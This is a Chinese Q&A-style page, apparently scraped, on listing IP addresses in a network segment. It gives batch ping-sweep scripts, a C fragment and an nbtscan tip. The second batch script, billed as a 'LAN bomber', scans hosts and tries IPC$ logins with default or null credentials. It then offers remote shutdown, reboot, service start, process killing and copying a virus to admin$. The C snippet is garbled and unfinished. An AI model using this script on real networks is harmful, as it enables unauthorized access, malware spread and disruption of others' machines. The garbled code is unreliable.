遍历一个网段所有ipc语言(ip网络段)

本篇文章给大家谈谈遍历一个网段所有ipc语言,以及ip网络段对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。

本文目录一览:

1、如何遍历ip地址2、怎么查看在同一个网段内的所有电脑的IP地址3、如何用c语言实现从某个网段中逐个取出ip地址4、怎么用C++BUILDER编程列出局域网内同网段IP地址的所有MAC地址

如何遍历ip地址

小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵。

shell不会玩,Windows下的bat还会点…

还有一点 要在Windows中调用linux中的shell脚本啊?

应该不可能…或者很难!

在Windows下我才能做到,不过太费时间了,给你两段现成的代码,如果你有时间有兴趣的话,可以在Windows下玩玩这代码,你有兴趣的话可以结合一下,然后再做一些修改就能达到你要的要求!

第一段:

@echo off

title 扫描在线IP

::MODE con: COLS=60 LINES=18

color 0a

::装饰。

:kaishi

cls

for /l %%i in (1,1,4) do echo.

set /p qishi= 起始IP:

set /p jieshu= 终止IP:

IF ERRORLEVEL 1 echo 错误的IP地址格式! pause goto kaishi

echo.

::从键盘获得两个变量的值。

for /f “tokens=1-4 delims=.” %%a in (“%qishi%”) do (

if %%a LSS 0 goto error_2

if %%a GTR 255 goto error_2

if %%b LSS 0 goto error_2

if %%b GTR 255 goto error_2

if %%c LSS 0 goto error_2

if %%c GTR 255 goto error_2

if %%d LSS 0 goto error_2

if %%d GTR 255 goto error_2

set v1=%%a

set v2=%%b

set v3=%%c

set v4=%%d

)

::分离起始IP的四个段并赋值,判断IP是否正确。

for /f “tokens=1-4 delims=.” %%a in (“%jieshu%”) do (

if %%a LSS 0 goto error_2

if %%a GTR 255 goto error_2

if %%b LSS 0 goto error_2

if %%b GTR 255 goto error_2

if %%c LSS 0 goto error_2

if %%c GTR 255 goto error_2

if %%d LSS 0 goto error_2

if %%d GTR 255 goto error_2

set v5=%%a

set v6=%%b

set v7=%%c

set v8=%%d

)

::分离终止IP的四个段并赋值,判断IP是否正确。

IF %V5% LSS %V1% echo 错误:终止IP不能小于起始IP。 pause goto kaishi

::判断终止IP与起始IP的正确性。

IF %V4% LEQ %V8% set zengzhi_1=1

IF %V4% GEQ %V8% set zengzhi_1=-1

IF %v3% LEQ %v7% set zengzhi_2=1

IF %V3% GEQ %V7% set zengzhi_2=-1

IF %v2% LEQ %v6% set zengzhi_3=1

IF %v2% GEQ %v6% set zengzhi_3=-1

for /L %%d in (%v1%,1,%v5%) do (

for /L %%c in (%v2%,%zengzhi_3%,%v6%) do (

for /L %%b in (%v3%,%zengzhi_2%,%v7%) do (

for /L %%a in (%v4%,%zengzhi_1%,%v8%) do (

ping /n 1 %%d.%%c.%%b.%%a nul echo %%d.%%c.%%b.%%a OK || echo %%d.%%c.%%b.%%a ERROR

echo %%d.%%c.%%b.%%a

)

)

)

)

echo 扫描完毕!

pause goto kaishi

:error_2

echo 错误的IP地址!

pause

goto kaishi

第二段(未编写测试完):

@echo off

setlocal enabledelayedexpansion

title Win 2k 局域网轰炸器 未完待续 ~す珹す~

color 0a

:start

echo ——————————————————————————-

echo 收集信息中… echo.

for /f “tokens=15” %%i in (‘ipconfig ^| find /i “ip address”‘) do set ip=%%i

for /f “tokens=1,2,3 delims=.” %%i in (‘echo !ip!’) do set wd=%%i.%%j.%%k

echo 你的 IP 地址是:!ip!

echo 你所在的网段是:!wd!

echo.

echo —请选择扫描在线主机的扫描方式—

echo 1.ping 2.net view 3.exit 注:直接按回车键使用默认方式!

set /p fs=请输入:

if “%fs%”==”” goto ping

if “%fs%”==”1” goto ping

if “%fs%”==”2” goto net view

if “%fs%”==”3” exit

cls goto start

:ping

echo.

echo 输入需要扫描的IP范围(不需输网段) 1至255之内 结尾数不能小于起始数!

set /p qs=起始数:

set /p js=结束数:

if !qs! gtr !js! echo 起始数 不能大于 结束数! ping 127.1 /n 2 nul 2nul goto ping

echo 正在扫描 !wd!.!qs! 至 !wd!.!js! 范围内的主机在线情况…

echo ——————————————————————————-

for /l %%i in (!qs!,1,!js!) do (

ping !wd!.%%i /n 1 nul 2nul echo !wd!.%%i 在线! echo !wd!.%%izx.txt|| echo !wd!.%%i 离线!

)

echo ——————————————————————————–

goto ipc$ scan

:net view

echo.

echo 此局域网内在线主机:

echo ——————————————————————————-

FOR /F “eol=- delims=\\” %%c in (‘net view’) do (

FOR /F “eol=服” %%i in (‘echo %%c’) do (

FOR /F “eol=命” %%i in (‘echo %%c’) do (

echo %%i echo %%izx.txt

)

)

)

echo ——————————————————————————–

goto ipc$ scan

:ipc$ scan

echo.

echo 即将开始ipc$扫描…

echo.

if not exist zx.txt echo sorry! 此局域网中无在线主机,无法进行ipc$扫描! 正在返回主菜单… ping 127.1 /n 5 nul 2nul cls goto start

echo ipc$ 扫描时使用何用户? 注:直接按回车键使用默认用户!

echo 要用空用户(空链接)请输入

set /p user=请输入:

if “!user!”==”” set user=administrator

if “!user!”==”null” set user=

echo ipc$ 扫描时使用何密码? 注:直接按回车键使用默认密码!

set /p password=请输入:

if “!password!”==”” set password=

echo.

echo 你选择的用户为:!user!

echo 你选择的密码为:!password!

ping 127.1 /n 2 nul 2nul

echo.

echo 正在扫描能ipc$连接的机子…

set ipc$=0

for /f %%i in (‘type zx.txt’) do (

echo ——————————————————————————-

net use \\%%i\ipc$ “!password!” /user:”!user!” nul (

set /a ipc$=!ipc$!+1

echo 连接 %%i 成功!

echo %%iipc.txt

net use \\%%i /delnul 2nul

) || (

echo 连接 %%i 失败! ↑↑↑以上是错误提示! ↑↑↑

)

)

echo ——————————————————————————–

echo 按任意键进入下一步! pause nul

:kill

cls

for /l %%i in (1,1,9) do echo.

echo 扫描到 !ipc$! 台机器能ipc$连接成功!

for /l %%i in (1,1,3) do echo.

echo 请问美丽的大姐您要怎么捉弄他们?

echo.

echo 1:关了他们 2:重启他们 3:开启服务

echo 4:传送病毒 5:弹出消息 6:关闭进程

echo.

set /p shr= 请选择:

if “!shr!”==”1” goto gj

if “!shr!”==”2” goto cq

if “!shr!”==”3” goto fw

if “!shr!”==”4” goto bd

if “!shr!”==”5” goto xx

if “!shr!”==”6” goto jc

goto kill

:gj

for /f %%i in (‘type ipc.txt’) do (

shutdown -m \\%%i -s -t 0

)

echo 完成! 按任意键返回主菜单!

pausenul goto start

:cq

for /f %%i in (‘type ipc.txt’) do (

shutdown -m \\%%i -r -t 0

)

echo 完成! 按任意键返回主菜单!

pausenul goto start

:fw

set /p fwm=请输入需要开启的服务名:

::还需检测路劲

for /f %%i in (‘type ipc.txt’) do (

net start \\%%i !fwm!

)

echo 完成! 按任意键返回主菜单!

pausenul goto start

:bd

set /p bdm=请输入要传送的病毒的路径:

for /f %%i in (‘type ipc.txt’) do (

copy !bdm! \\%%i\admin$

::还需开启对方计划任务服务 运行病毒

)

echo 完成! 按任意键返回主菜单!

pausenul goto start

:xx

set /p xx=请输入要弹出的消息:

for /f %%i in (‘type ipc.txt’) do (

echo 正在弹消息中…

sc \\%%i config messenger start= auto nul 2nul

sc \\%%i start messenger nul 2nul

net send %%i !xx!

)

echo 完成! 按任意键返回主菜单!

pausenul goto start

:jc

set /p jc=请输入需要关闭的进程名:

for /f %%i in (‘type ipc.txt’) do (

copy !bdm! \\%%i\admin$

taskkill /s \\%%i /f /im !jc!

)

echo 完成! 按任意键返回主菜单!

pausenul goto start1

pause

遍历一个网段所有ipc语言(ip网络段)

怎么查看在同一个网段内的所有电脑的IP地址

有时候,当我们为局域网内的机器分配IP 地址的时候,如果系统管理员没有清楚地记录在用IP,就会不知道目前还有哪些IP是可用的。下面就介绍这个简单并且实用的命令,它会帮我们一下子就找出所有在用的IP 地址! 打开windows 命令行窗口,在命令行输入以下命令: for /l %i in (1,1,254) do ping -n 1 -w 60 192.168.0.%i | find “Reply” d:\pingall.log 备注: %i in (1,1,254) ——是遍历主机位从1 ~ 254的所有IP -n——ping 的次数 -w ——等待每次回复的时长(毫秒) 192.168.0.%i ——遍历IP 自192.168.0.1 ~ 192.168.0.254的所有IP | bat ——管道,将前面的结果通过管道输入给后面的命令 bat——重定向,将结果写进d:\pingall.log这个文件

望采纳!

如何用c语言实现从某个网段中逐个取出ip地址

我临时写吧,没有调试,主要是这什么用啊,能用来换钱么?

#inlcudestdio.h

void main(void)

{

char a1,a2,a3,a4;

char m1,m2,m3,m4;

char r1,r2,r3,r4;

a1=127;a2=0;a3=0;a4=1; // your IP

m1=255;m2=255;m3=248;m4=0; // IP netmask

r1=a1m1;r2=a2m2;r3=a3m3;r4=a4m4; //your IP segment

m1=~m1;m2=~m2;m3=~m3;m4=~m4;

下面就是循环了.循环的处理方法是如果m中为0,则循环0到255,不为0,则循环到大于这个m的时候,就终止所有循环,您自己动动脑筋,我点到这步比较好。

}

怎么用C++BUILDER编程列出局域网内同网段IP地址的所有MAC地址

下载一个小巧的工具软件吧,叫nbtscan的一款小软件。在CMD命令行输入nbtscan -r 网络地址/24。比如:nbtscan -r 192.168.1.0/24 嗅探该网段的所有主机以及对应的MAC地址。

关于遍历一个网段所有ipc语言和ip网络段的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。

本文来自投稿,不代表【】观点,发布者:【

本文地址: ,如若转载,请注明出处!

举报投诉邮箱:253000106@qq.com

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2024年3月30日 12:06:07
下一篇 2024年3月30日 12:16:21

相关推荐

  • c语言改写模式,c语言实现修改功能

    c语言程序修改? 1、这个程序有4个错误,我都加粗了,第一个是m没有赋初值,第二个是while表达式中的ch=getchar()需要括号括起来,第三个是m=m*10+ch-0中的0也需要用单引号括起来,第四个是第2个while中为m!=0。 2、define容易造成误会,因为不符合一般的编程习惯,false 0, true 1;scanf放在你的那个地方是达…

    2024年5月23日
    4100
  • c语言控制代码的换码序列,c语言交换代码

    求C语言编程大神解答一下下面这个编程代码? k==5,用5去除125余0,所以r=125%5中r为0。由于!0为1,所以执行while循环体:先打印出5(k的值),再n=n/k==125/5=25;由于251则再打印出*号。这一循环结果输出是5*。 下面是我的代码,三个函数分别对应三个问题。 在实现基本要求的前提下,拓展了可以从键盘输入的功能,以下为各题代码…

    2024年5月23日
    5800
  • c语言扫描io脚状态,c语言端口扫描

    求51单片机的上升沿和下降沿C语言检测程序列子,端口就是普通IO口。 上升沿触发是当信号有上升沿时的开关动作,当电位由低变高而触发输出变化的就叫上升沿触发。也就是当测到的信号电位是从低到高也就是上升时就触发,叫做上升沿触发。 单片机怎么计算1s内下降沿的个数的C语言程序或者计算两个下降沿的时间(检测脉冲频率)计算1s内下降沿的个数方法是,一个定时器设置定时1…

    2024年5月23日
    4500
  • c语言mallloc使用的简单介绍

    C语言中使用malloc必须加#includemallo.h? 1、在C语言中使用malloc函数进行动态内存分配。malloc的全称是memory allocation,中文叫动态内存分配。原型:extern void malloc(unsigned int num_bytes);功能:分配长度为num_bytes字节的内存块。 2、你可以看一下C语言那本…

    2024年5月23日
    4500
  • c语言三位小数,C语言三位小数

    怎样用C++语言输出精确到小数点后三位的数? 1、用C++语言输出精确到小数点后三位的数,可以参考下面给出的代码:coutsetiosflags(ios:fixed)setprecision(3)。其中 setiosflags中set是设置的意思。ios是iostream的缩写,即输入输出流。flags是标志的意思。 2、要精确到小数点后若干位,则数据类型为…

    2024年5月23日
    7500
  • c语言21点游戏,二十一点游戏代码c语言

    如何使用C语言编写简单小游戏? 1、数学知识:长方形的面积S=a*b 长方形周长L=2*(a+b)其中a b分别为长方形的宽和高。算法分析:长方形面积及周长均依赖于宽和高,所以先要输入宽高值,然后根据公式计算,输出结果即可。 2、/*也不知道你是什么级别的,我是一个新手,刚接触编程语言,以下是我自己变得一个小程序,在所有c语言的编译器(vc++0、turbo…

    2024年5月23日
    6500
  • c语言当中的null,C语言当中的符号

    C/C++中,NULL和null的区别是什么? nul 和 null要看编译器,不同的编译器有所区别。 所以C或者C++中都使用一个特殊定义NULL表示无效值,其本质就是未定义具体数据类型的0值。 null是是什么都没有的意思。在java中表示空对象。 本意是“空的;元素只有零的”意思。计算机中通常表示空值,无结果,或是空集合。\x0d\x0a在ASCII码…

    2024年5月23日
    4700
  • 包含c语言对txt文件命名的词条

    如何在C语言编程里面修改源文件名字 如果你是在WINDOWS的话,简单了,随便用个编辑器,比如记事本,然后写c源程序,保存到你想要保存的位置。如果你在DOS下,可以用edit,写好以后,按alt键,选择文件菜单,然后保存。 用open打开文件,注意操作模式使用“修改”或者“添加” 用write或者fprintf向文件中写入你的内容。 用close关闭文件。 …

    2024年5月23日
    5000
  • 学c语言编程,学c语言编程用什么软件

    编程开发必须要学C语言吗? 1、要学习。编程开发的学习内容主要包括c语言、python和c+语言。C语言作为一种简单灵活的高级编程语言,它是一个面向过程的语言,一般是作为计算机专业的基础入门语言课程。 2、C语言。对于刚接触编程的人来说,先学习C语言是非常重要的。C语言可以说是是计算机编程语言的鼻祖,其他的编程语言几乎全是由C语言变化衍生出来的。 3、不需要…

    2024年5月23日
    3500
  • c语言用string定义字符串,c语言中用string类型来处理字符串类型

    C++怎样定义定义字符串 1、第一是字符数组来表示字符串。用下面的语句声明:char a[10];C语言中字符数组与字符串的唯一区别是字符串末尾有一个结束符\0,而字符数组不需要。 2、在C中定义字符串有下列几种形式:字符串常量,char数组,char指针 字符串常量 即:位于一对双括号中的任何字符。双引号里的字符加上编译器自动提供的结束标志\0字符,作为 …

    2024年5月23日
    4500

发表回复

登录后才能评论



关注微信